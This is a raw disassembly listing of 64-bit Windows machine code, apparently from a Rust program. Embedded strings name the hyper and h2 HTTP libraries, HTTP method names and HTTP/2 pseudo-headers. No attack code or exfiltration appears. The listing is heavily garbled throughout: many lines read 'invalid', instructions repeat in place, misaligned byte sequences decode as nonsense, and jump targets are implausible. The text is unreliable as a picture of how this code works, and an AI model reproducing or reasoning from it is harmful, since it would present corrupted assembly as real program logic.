mov eax, dword [rsp + 0x60]
mov rax, qword [rsp + 0x60]
cmp rsi, 0x7f
jae 0x14001a5b3
invalid
or sil, 0x80
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x14001a58c
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.1400087c0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], sil
inc rax
mov qword [rsp + 0x80], rax
cmp rax, rcx
ja case.default.0x14001aeff
and al, 0x80
add byte [rax], al
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0xffffffffffffff91
adc al, 0
add byte [rax - 0x77], cl
and al, 0x60
mov qword [rsp + 0x60], rax
jmp 0x14001b1d7
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x14001a5d6
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.1400087c0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], 0xff
inc rax
mov qword [rsp + 0x80], rax
cmp rax, rcx
ja case.default.0x14001aeff
add rsi, 0xffffffffffffff81
mov qword [rsp + 0x60], rax
and al, 0x60
cmp rsi, 0x80
jb 0x14001a569
invalid
invalid
nop dword [rax]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x14001a633
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.1400087c0
dec dword [rax - 0x75]
and al, 0x60
mov rcx, qword [rsp + 0x68]
mov edx, esi
or dl, 0x80
mov r8, qword [rsp + 0x58]
mov byte [r8 + rax], dl
inc rax
mov qword [rsp + 0x80], rax
cmp rax, rcx
ja case.default.0x14001aeff
mov qword [rsp + 0x60], rax
mov rcx, rsi
shr rcx, 7
jmp 0x13e82ee6b
invalid
invalid
add byte [rax], al
jmp 0x13e82ee6b
mov rsi, rcx
ja 0x14001a610
invalid
movabs dword [0x24bc80fffffef7e9], eax
loopne 0x14001a679
jmp 0x14001a569
cmp byte [rsp + 0x2e0], 0xfa
add byte [rax], al
cli
mov rcx, qword [rsp + 0x2f0]
jae 0x14001a6d0
cmp qword [rax + 0x30], rcx
jne 0x14001a6d0
mov rcx, qword [rax + 0x28]
mov rdx, qword [rsp + 0x110]
mov r8, qword [rsp + 0x2f0]
and al, 0xf0
add al, byte [rax]
add byte [rsi - 0x70], ah
xchg esp, eax
and al, 0x10
add dword [rax], eax
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xf0
add al, byte [rax]
add byte [rsi - 0x70], ah
call fcn.1401220a0
movzx r9d, word [rsp + 0x118]
mov r11, qword [rsp + 0x168]
add dword [rax], eax
invalid
mov r10, qword [rsp + 0x170]
test eax, eax
je 0x14001a853
nop word cs:[rax + rax]
cmp rbp, rsi
jae 0x14001bb13
lea rax, [r12 + r12*2]
shl rax, 5
cmp dword [rdi + rax], 1
jne case.0x1400dd9c6.774
mov r13, qword [rax + 8]
lea rbp, [r11 + r13]
cmp rbp, rsi
jae case.default.0x14001a74e
mov rax, qword [rsp + 0x440]
lea r12, [rax + rbp]
cmp r12, r10
mov rax, r10
mov eax, edx
mov eax, edx
rol byte [rcx - 0x48], 1
add byte [rax], al
add byte [rax], al
mov r8d, 0
cmovb rax, r8
sub r12, rax
lea rcx, [r12 + r12*2]
shl rcx, 5
lea rax, [rdi + rcx]
add rax, 0x10
movzx ecx, byte [rdi + rcx + 0x50]
lea edx, [rcx - 2]
dec rcx
cmp dl, 6
cmovae rcx, r8
lea rdx, [0x140192358]
movsxd rcx, dword [rdx + rcx*4]
invalid
or al, 0x8a
jl 0x14001a75d
add byte [rax + 0x63], cl
or al, 0x8a
invalid
add rcx, rdx
jmp rcx
cmp byte [rsp + 0x48], 2
jne 0x14001a6d0
invalid
invalid
invalid
invalid
invalid
cmp qword [rax + 0x10], r14
jo 0x14001a76f
jne 0x14001a6d0
test dword [rbx - 1], ebp
invalid
mov rcx, qword [rax + 8]
mov rdx, qword [rsp + 0x2e8]
add byte [rax], al
jmp 0x14001a836
rol byte [rax], 0
add byte [rax + 0x648247c], al
cmp byte [rsp + 0x48], 6
cmp byte [rsp + 0x48], 6
jne 0x14001a6d0
invalid
jmp 0x14001a820
invalid
add byte [rax], al
cmp byte [rsp + 0x48], 4
jne 0x14001a6d0
jmp 0x14001a820
add byte [rax], al
add byte [rax + 0x548247c], al
cmp byte [rsp + 0x48], 5
cmp byte [rsp + 0x48], 5
jne 0x14001a6d0
jmp 0x14001a820
cmp byte [rsp + 0x48], 3
add ecx, dword [rdi]
test dword [rdx], esp
invalid
jne 0x14001a6d0
cmp byte [rax], r9b
jne 0x14001a6d0
cmp r9b, 0xa
je 0x14001a820
or dh, byte [rbx + riz*2 + 0x41]
movzx ecx, cl
movzx ecx, r9b
cmp ecx, 9
jne 0x14001a853
mov dword [rax], eax
add byte [rax], al
movzx ecx, word [rax + 0xd]
movzx edx, byte [rax + 0xf]
or rax, 0xf50b60f
shl edx, 0x10
or edx, ecx
shl rdx, 0x20
mov ecx, dword [rax + 9]
or rcx, rdx
mov rdx, qword [rax + 1]
xor rdx, qword [rsp + 0x4d8]
xchg esp, eax
and al, 0xd8
add al, 0
add byte [rax + 0x33], cl
mov word [rax + riz*8], fs
loopne 0x14001a7f7
add byte [rax], al
ror dword [rax - 0x75], 1
push rax
add dword [rax + 0x33], ecx
xchg esp, eax
and al, 0xd8
add al, 0
add byte [rax + 0x33], cl
mov word [rax + riz*8], fs
loopne 0x14001a7f7
add byte [rax], al
invalid
invalid
loopne 0x14001a7f7
add byte [rax], al
movabs r8, 0xffffffffffffff
and rcx, r8
or rcx, rdx
jne 0x14001a6d0
mov eax, 0xffffffff
invalid
invalid
cmp byte [rax + 0x10], r14b
jne 0x14001a6d0
invalid
invalid
invalid
invalid
invalid
adc byte [rdi], cl
test dword [rbx - 0x14000002], edi
jmp 0x14001a853
cmp al, 0x66
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx + rdi + 0x70], cl
adc byte [rdi], cl
test dword [rsi + 0x48fffffe], esp
invalid
dec dword [rax - 0x75]
mov rcx, qword [rax + 8]
cmp qword [rax + 0x10], r14
jne 0x14001a6d0
invalid
invalid
invalid
mov rcx, qword [rax + 8]
or byte [rax - 0x75], cl
xchg esp, eax
and al, 0x78
js 0x14001a835
invalid
mov rdx, qword [rsp + 0x178]
js 0x14001a835
add byte [rax], al
add byte [rbp - 0x77], cl
invalid
mov r8, r14
jmp 0x14001a6a0
invalid
invalid
invalid
cmp byte [rsp + 0x48], 7
jne 0x14001a6d0
invalid
xchg esi, edi
invalid
invalid
invalid
and al, 0x48
invalid
test dword [rdi + 0x66fffffe], eax
cmp dword [rax], r9d
invalid
cmp word [rax], r9w
jne 0x14001a6d0
jge case.0x14001a486.79
invalid
add rbp, 0x3e
mov rax, qword [rsp + 0x290]
mov eax, dword [rsp + 0x290]
mov eax, dword [rsp + 0x290]
lea rcx, [rsp + 0xb8]
mov qword [rcx + 0x48], rax
and al, 0xb8
add byte [rax], al
add byte [rax - 0x77], cl
movaps xmm0, xmmword [rsp + 0x250]
movaps xmm0, xmmword [rsp + 0x250]
movaps xmm0, xmmword [rsp + 0x250]
movaps xmm1, xmmword [rsp + 0x260]
sub byte [rsp + 0x260], cl
and al, 0x60
add al, byte [rax]
add byte [rdi], cl
sub byte [rsp + 0x270], dl
movaps xmm2, xmmword [rsp + 0x270]
movaps xmm3, xmmword [rsp + 0x280]
sub byte [rsp + 0x280], bl
movups xmmword [rcx + 0x38], xmm3
movups xmmword [rcx + 0x28], xmm2
cmp byte [rdi], cl
adc dword [rcx + 0x28], edx
movups xmmword [rcx + 0x18], xmm1
movups xmmword [rcx + 8], xmm0
sbb byte [r15], cl
adc dword [rcx + 8], eax
mov qword [rsp + 0xb8], rbp
mov qword [rsp + 0xb0], 0
and al, 0xb0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rsi*4], ah
mov al, 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*4], ah
and al, 0xb0
and al, 0xb0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rsi*4], ah
mov al, 0
add byte [rax], al
lea rcx, [0x140192374]
mov al, 0
add byte [rax], al
lea rcx, [0x140192374]
invalid
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov rbp, qword [rsp + 0x248]
lodsb al, byte [rsi]
and al, 0x48
add al, byte [rax]
add bh, bh
jmp rax
lodsb al, byte [rsi]
and al, 0x48
add al, byte [rax]
add bh, bh
jmp rax
invalid
mov rcx, qword [rsp + 0xb8]
mov ecx, dword [rsp + 0xb8]
add byte [rax], al
add byte [rdi], cl
movzx eax, byte [rsp + 0x100]
lea edx, [rax - 2]
mov r8, rax
mov eax, eax
mov dh, 0x84
and al, 0
add dword [rax], eax
add byte [rbp - 0x76b601b0], cl
mov eax, eax
dec r8
dec r8
cmp dl, 6
mov edx, 0
cmovae r8, rdx
cmovae eax, edx
invalid
cmovae eax, edx
lea r9, [0x14019247c]
movsxd rdx, dword [r9 + r8*4]
add rdx, r9
jmp rdx
mov rdx, qword [rsp + 0xc8]
mov r8, qword [rsp + 0xd0]
test byte [rax + rdx*8], ah
add byte [rax], al
invalid
test byte [rax + rdx*8], ah
and al, 0xd0
add byte [rax], al
add byte [rcx - 0x77], al
rol dword [rcx - 0x80], 0xc9
clc
mov r9d, eax
or r9b, 0xf8
or cl, 0xf8
cmp r9b, 0xfa
setb r9b
setb cl
setb cl
rol dword [rcx + 0x20], 0xc1
and r9b, al
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
call fcn.140015290
jmp 0x14001b1d7
mov rdx, qword [rsp + 0xe8]
add byte [rax], al
mov r8, qword [rsp + 0xf0]
jmp 0x14001a914
add byte [rax], al
add bl, ch
enter 0xffffffffffffb60f, 0xffffffffffffff94
invalid
mov dh, 0x94
xchg esp, eax
movzx edx, byte [rsp + 0xc0]
mov r8d, 7
lea r9, [0x140192498]
movsxd rdx, dword [r9 + rdx*4]
add rdx, r9
jmp rdx
xchg esp, eax
and al, 0xc0
add byte [rax], al
add byte [rcx - 0x48], al
invalid
lea rdx, str.OPTIONSGETPOSTPUTDELETEHEADTRACECONNECTPATCHC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1_role.rs
lea edx, str.OPTIONSGETPOSTPUTDELETEHEADTRACECONNECTPATCHC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1_role.rs
jmp 0x14001a914
mov edx, dword [rsp + 0xc0]
add edx, 0xffffff9c
pushfq
pushfq
movzx edx, dx
lea rdx, [rdx + rdx*2]
lea r8, str.100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999:authority:method:scheme:path:protocol:statusassertion_failed:_DEFAULT_MAX_FRAME_SIZE___val__val___MAX_MAX_FRAME_SIZEC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_frame_settings.rs
add rdx, r8
ret 0xb841
add eax, dword [rax]
add byte [rax], al
jmp 0x14001a914
ret 0xb841
cmp byte [rsp + 0x2e0], 0xf9
ja 0x14001aa2a
test byte [rsp + 0x48], 1
je 0x14001aa2a
add qword [rsp + rdi*2 + 0x48], rsi
add ebp, 0x3e
add rbp, 0x3e
mov rax, qword [rsp + 0x290]
lea rcx, [rsp + 0xb8]
lea ecx, [rsp + 0xb8]
lea ecx, [rsp + 0xb8]
mov qword [rcx + 0x48], rax
movaps xmm0, xmmword [rsp + 0x250]
add byte [rax], al
add byte [rax], al
movaps xmm1, xmmword [rsp + 0x260]
movaps xmm2, xmmword [rsp + 0x270]
and al, 0x70
add al, byte [rax]
add byte [rdi], cl
sub byte [rsp + 0x280], bl
and al, 0x70
add al, byte [rax]
add byte [rdi], cl
sub byte [rsp + 0x280], bl
movups xmmword [rcx + 0x38], xmm3
movups xmmword [rcx + 0x28], xmm2
movups xmmword [rcx + 0x18], xmm1
adc dword [rcx + 0x18], ecx
adc dword [rcx + 0x18], ecx
movups xmmword [rcx + 8], xmm0
mov qword [rsp + 0xb8], rbp
lodsb al, byte [rsi]
and al, 0xb8
add byte [rax], al
add byte [rax], al
lodsb al, byte [rsi]
and al, 0xb8
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xb0], 1
mov rax, qword [rsp + 0xb0]
lea rcx, [0x140192374]
add byte [rax], al
mov qword [rsp + 0xb0], 1
mov rax, qword [rsp + 0xb0]
lea rcx, [0x140192374]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov rbp, qword [rsp + 0x248]
jmp rax
lea rcx, [rsp + 0x120]
call fcn.140015b40
mov rsi, qword [rsp + 0x88]
add qword [rsi + 0x60], rax
mov edx, 1
mov rcx, qword [rsp + 0x240]
mov r8, r13
call fcn.140022400
mov rax, qword [rsp + 0x290]
lea rcx, [rsp + 0x1a8]
mov qword [rcx + 0x40], rax
movaps xmm0, xmmword [rsp + 0x250]
movaps xmm1, xmmword [rsp + 0x260]
sub byte [rsp + 0x260], cl
movaps xmm2, xmmword [rsp + 0x270]
movaps xmm3, xmmword [rsp + 0x280]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov rax, qword [rsi + 0x58]
inc rax
mov qword [rsi + 0x58], rax
mov rdx, qword [rsi + 0x30]
mov rcx, qword [rsi + 0x48]
cmp rcx, rdx
jne 0x14001aacc
mov rcx, qword [rsp + 0x4c8]
call fcn.140022720
mov rdx, qword [rsi + 0x30]
mov rcx, qword [rsi + 0x48]
mov rax, qword [rsi + 0x58]
mov r8, qword [rsi + 0x40]
dec r8
add rdx, r8
cmovae rdx, r8
mov r8, qword [rsi + 0x38]
mov qword [rsi + 0x40], rdx
inc rcx
mov qword [rsi + 0x48], rcx
lea rdx, [rdx + rdx*2]
lea rdx, [rdx + rdx*2]
shl rdx, 5
mov qword [r8 + rdx], 0
add eax, 0x1004c749
add byte [rax], al
add byte [rax], al
movups xmm0, xmmword [rsp + 0x1a0]
movups xmm1, xmmword [rsp + 0x1b0]
adc byte [rsp + 0x1b0], cl
adc byte [rsp + 0x1b0], cl
movups xmm2, xmmword [rsp + 0x1c0]
movups xmm3, xmmword [rsp + 0x1d0]
and al, 0xd0
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x1d0], bl
and al, 0xd0
add dword [rax], eax
invalid
and al, 0xd0
add dword [rax], eax
add byte [rcx + 0xf], al
adc dword [rax + rdx + 8], eax
movups xmmword [r8 + rdx + 8], xmm0
movups xmmword [r8 + rdx + 0x18], xmm1
movups xmmword [r8 + rdx + 0x28], xmm2
movups xmmword [rax + rdx + 0x28], xmm2
movups xmmword [rax + rdx + 0x28], xmm2
movups xmmword [r8 + rdx + 0x38], xmm3
movups xmm0, xmmword [rsp + 0x1e0]
add byte [rcx + 0xf], al
adc dword [rax + rdx + 0x48], eax
invalid
add byte [rcx + 0xf], al
adc dword [rax + rdx + 0x48], eax
invalid
mov r9, qword [rsp + 0x3f8]
mov r9, qword [rsp + 0x3f8]
mov qword [r8 + rdx + 0x58], r9
add r13, rax
adc byte [rax + 0x49], bl
add ebp, eax
cmp r13, rcx
jae 0x14001ab97
mov rdx, qword [rsp + 0x88]
xchg esp, eax
and al, 0x88
add byte [rax], al
add byte [rax], al
add r13, qword [rdx + 0x40]
neg rax
add r13, qword [rdx + 0x40]
neg rax
mov rcx, qword [rdx + 0x30]
mov rdx, qword [rdx + 0x38]
cmp r13, rcx
mov r8d, 0
cmovae r8, rcx
sub r13, r8
lea rcx, [r13*2]
lea ecx, [rbp*2]
lea ecx, [rbp*2]
add rcx, r13
shl rcx, 5
mov qword [rdx + rcx], 1
mov qword [rdx + rcx + 8], rax
cmp byte [rsp + 0x198], 0
mov rax, qword [rsp + 0x180]
je case.default.0x14001abeb
add byte [rax - 0x75], cl
test byte [rax + rax*4], ah
add dword [rax], eax
add byte [rsp + rax*2 + 0x48], dh
invalid
add rbp, 0x3e
add ebp, 0x3e
mov qword [rsp + 0xb8], rbp
mov qword [rsp + 0xc0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rbx], al
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rsi*4], ah
and al, 0xb0
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x177798
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rbx], al
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rsi*4], ah
and al, 0xb0
and al, 0xb0
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x177798
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
add eax, ecx
mov rbp, qword [rsp + 0x248]
jmp rax
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], 0
mov qword [rsp + 0xb0], 3
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rbx], al
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rsi*4], ah
mov al, 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rbx], al
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rsi*4], ah
mov al, 0
invalid
mov al, 0
add byte [rax], al
invalid
add byte [rax - 0x73], cl
or eax, 0x177758
lea rcx, [0x140192374]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov rbp, qword [rsp + 0x248]
lodsb al, byte [rsi]
and al, 0x48
add al, byte [rax]
add bh, bh
jmp rax
lodsb al, byte [rsi]
and al, 0x48
add al, byte [rax]
add bh, bh
jmp rax
invalid
mov rax, qword [rsp + 0xb8]
mov eax, dword [rsp + 0xb8]
mov rdx, qword [rsp + 0x88]
mov edx, dword [rsp + 0x88]
add byte [rax], al
cmp rax, qword [rdx + 0x48]
jae 0x14001bbe6
add rax, qword [rdx + 0x40]
mov rcx, qword [rdx + 0x30]
mov rsi, qword [rdx + 0x38]
cmp rax, rcx
mov edx, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmovae rdx, rcx
sub rax, rdx
sub eax, edx
sub eax, edx
lea rdi, [rax + rax*2]
shl rdi, 5
movzx eax, byte [rsi + rdi + 0x50]
lea ecx, [rax - 8]
cmp cl, 0xfa
jae 0x14001ac7f
or byte [rax - 0x417af0ff], ch
sldt word [rax]
test al, 1
jne 0x14001bc3d
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
and al, 0x68
and al, 0x68
cmp rcx, rax
jne 0x14001aca7
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.1400087c0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], 0x40
inc rax
mov qword [rsp + 0x80], rax
cmp rax, rcx
ja case.default.0x14001aeff
add rsi, rdi
add rsi, 0x10
mov qword [rsp + 0x60], rax
invalid
movzx eax, byte [rsi + 0x40]
lea ecx, [rax - 2]
dec rax
cmp cl, 6
mov ecx, 0
add byte [rax + 0xf], cl
sar dword [r10 + 7], 0x48
lea ecx, [0x140192418]
or eax, 0x177726
add byte [rax + 0xf], cl
sar dword [r10 + 7], 0x48
lea ecx, [0x140192418]
or eax, 0x177726
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp qword [rsi], 0
je 0x14001b181
mov rcx, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
adc cl, ch
jnp 0x14001ad14
add byte [rax], al
adc cl, ch
jnp 0x14001ad14
add byte [rax], al
movzx edi, byte [rsp + 0xf8]
lea eax, [rdi - 2]
mov esp, 0xf824
add byte [rbp - 0x76b701b9], cl
mov rcx, rdi
mov rcx, rdi
dec rcx
cmp al, 6
mov eax, 0
invalid
add byte [rax + 0xf], cl
enter 0xffffffffffff8d48, 0x15
push rbx
jbe case.0x140016398.551
cmovae rcx, rax
lea rdx, [0x140192388]
movsxd rax, dword [rdx + rcx*4]
add byte [rax + 0x63], cl
add al, 0x8a
add rax, rdx
add eax, edx
jmp rax
cmp qword [rsp + 0xb8], 0
add byte [rdi], cl
test byte [rcx + 3], ch
je 0x14001b0b6
add byte [rax], al
mov r14, qword [rsp + 0xc0]
mov rsi, qword [rsp + 0xc8]
add cl, ch
add eax, dword [eax]
invalid
add cl, ch
add eax, dword [eax]
add byte [rax - 0x75], cl
invalid
invalid
mov rax, qword [rsp + 0xc0]
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x88
add byte [rax], al
add byte [rax + 0x3b], cl
jae 0x14001bbce
mov rdx, qword [rsp + 0x88]
cmp rax, qword [rdx + 0x48]
jae 0x14001bbce
mov rdi, qword [rsp + 0xb8]
add rax, qword [rdx + 0x40]
mov rcx, qword [rdx + 0x30]
mov rsi, qword [rdx + 0x38]
cmp rax, rcx
mov edx, 0
cmovae rdx, rcx
sub rax, rdx
lea rbx, [rax + rax*2]
shl rbx, 5
movzx eax, byte [rsi + rbx + 0x50]
lea ecx, [rax - 8]
clc
cmp cl, 0xfa
jae 0x14001adbc
test al, 1
jne 0x14001bc25
invalid
add byte [rax], al
cmp rdi, 0x3f
jae 0x14001add0
or dil, 0x40
mov rax, qword [rsp + 0x60]
jmp 0x14001ae8d
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov ecx, dword [rsp + 0x68]
cmp rcx, rax
jne 0x14001adf8
mov edx, 1
lea rcx, [rsp + 0x58]
and al, 0x58
call fcn.1400087c0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], 0x7f
inc rax
mov qword [rsp + 0x80], rax
cmp rax, rcx
ja case.default.0x14001aeff
add rdi, 0xffffffffffffffc1
mov qword [rsp + 0x60], rax
cmp rdi, 0x80
jb 0x14001ae8d
nop word [rax + rax]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x14001ae53
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.1400087c0
ja 0x14001ae20
invalid
dec dword [rax - 0x75]
mov eax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov edx, edi
or dl, 0x80
mov r8, qword [rsp + 0x58]
mov byte [r8 + rax], dl
inc rax
mov qword [rsp + 0x80], rax
cmp rax, rcx
ja case.default.0x14001aeff
mov qword [rsp + 0x60], rax
mov rcx, rdi
shr rcx, 7
cmp rdi, 0x3fff
mov rdi, rcx
mov edi, ecx
mov edi, ecx
ja 0x14001ae30
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x14001aeb0
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.1400087c0
dec dword [rax - 0x75]
and al, 0x60
dec dword [rax - 0x75]
and al, 0x60
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], dil
inc rax
mov qword [rsp + 0x80], rax
cmp rax, rcx
ja case.default.0x14001aeff
lea r8, [rsi + rbx]
add r8, 0x10
mov qword [rsp + 0x60], rax
movzx eax, byte [r8 + 0x40]
lea ecx, [rax - 2]
lea ecx, [rax - 2]
dec rax
cmp cl, 6
mov ecx, 0
cmovae rax, rcx
lea rcx, [0x1401923d0]
invalid
add byte [rax + 0x63], cl
add al, 0x81
invalid
add al, 0x81
add rax, rcx
jmp rax
loopne 0x14001af4b
mov rcx, qword [r8 + 8]
mov ecx, dword [rax + 8]
mov rdx, qword [r8 + 0x10]
jmp 0x14001b09f
mov r12, qword [rsp + 0xc0]
mov rbx, qword [rsp + 0xc8]
add byte [rax], al
invalid
add byte [rax], al
add byte [rsi + 5], bh
add byte [rax], al
mov esi, 5
lea r14, [0x140132e74]
jmp 0x14001b0d9
movzx eax, byte [rsp + 0xb8]
mov esi, 7
invalid
add byte [rax], al
invalid
add byte [rax], al
add byte [rsi + 7], bh
invalid
add byte [rax], al
invalid
invalid
lea rcx, [0x1401923a4]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add rax, rcx
jmp rax
enter 0xffffffffffffe0ff, 0x4c
loopne 0x14001af99
lea r14, [0x140132e66]
lea esi, [0x140132e66]
jg 0x14001af63
add byte [rbx + 7], bh
mov ebx, 7
invalid
add byte [rax], al
add byte [rbp + rcx*4 + 0x25], cl
xor dword [rdx + rdx + 0x175e900], edi
add dword [rax], eax
invalid
lea r12, str.OPTIONSGETPOSTPUTDELETEHEADTRACECONNECTPATCHC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1_role.rs
jmp 0x14001b0d9
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0xc0
add byte [rax], al
add byte [rax - 0x75], cl
pushfq
and al, 0xc8
mov r12, qword [rsp + 0xc0]
mov esp, dword [rsp + 0xc0]
mov rbx, qword [rsp + 0xc8]
add byte [rax], al
add byte [rsi + 7], bh
add byte [rax], al
invalid
add byte [rax], al
mov esi, 7
add byte [rax], al
add byte [rbp + rcx*4 + 0x35], cl
in eax, dx
lea r14, [0x140132e6d]
jmp 0x14001b0d9
add byte [rax], al
jle 0x14001af90
add cl, ch
push rsp
add dword [rax], eax
invalid
add byte [rax], al
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0xc0
add byte [rax], al
add byte [rax - 0x75], cl
invalid
pushfq
mov r12, qword [rsp + 0xc0]
mov rbx, qword [rsp + 0xc8]
mov ebx, dword [rsp + 0xc8]
mov ebx, dword [rsp + 0xc8]
and al, 0xc8
add byte [rax], al
add byte [rsi + 0xa], bh
mov esi, 0xa
mov esi, 0xa
add byte [rax], al
add byte [rbp + rcx*4 + 0x35], cl
mov ebx, 0xe900117e
adc dword [rax], eax
jmp 0x14001b0d9
lea r14, [0x140132e5c]
adc dword [rax], eax
jmp 0x14001b0d9
mov r12, qword [rsp + 0xc0]
mov rbx, qword [rsp + 0xc8]
pushfq
and al, 0xc8
add byte [rax], al
add byte [rsi + 9], bh
add byte [rax - 0x75], cl
pushfq
and al, 0xc8
add byte [rax], al
add byte [rsi + 9], bh
lea r14, [0x140132e79]
mov bh, 0x7e
adc dword [rax], eax
invalid
add cl, ch
adc al, byte [rcx]
add byte [rax], al
jmp 0x14001b0d9
mov eax, dword [rsp + 0xb8]
add byte [rbx - 0x48f06340], al
ror byte [rbp + rcx*4 + 0x24], 0x40
invalid
add eax, 0xffffff9c
movzx eax, ax
lea r12, [rax + rax*2]
invalid
rcr byte [rdi + rcx - 0x72b33f49], 0x24
lea rax, str.1001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365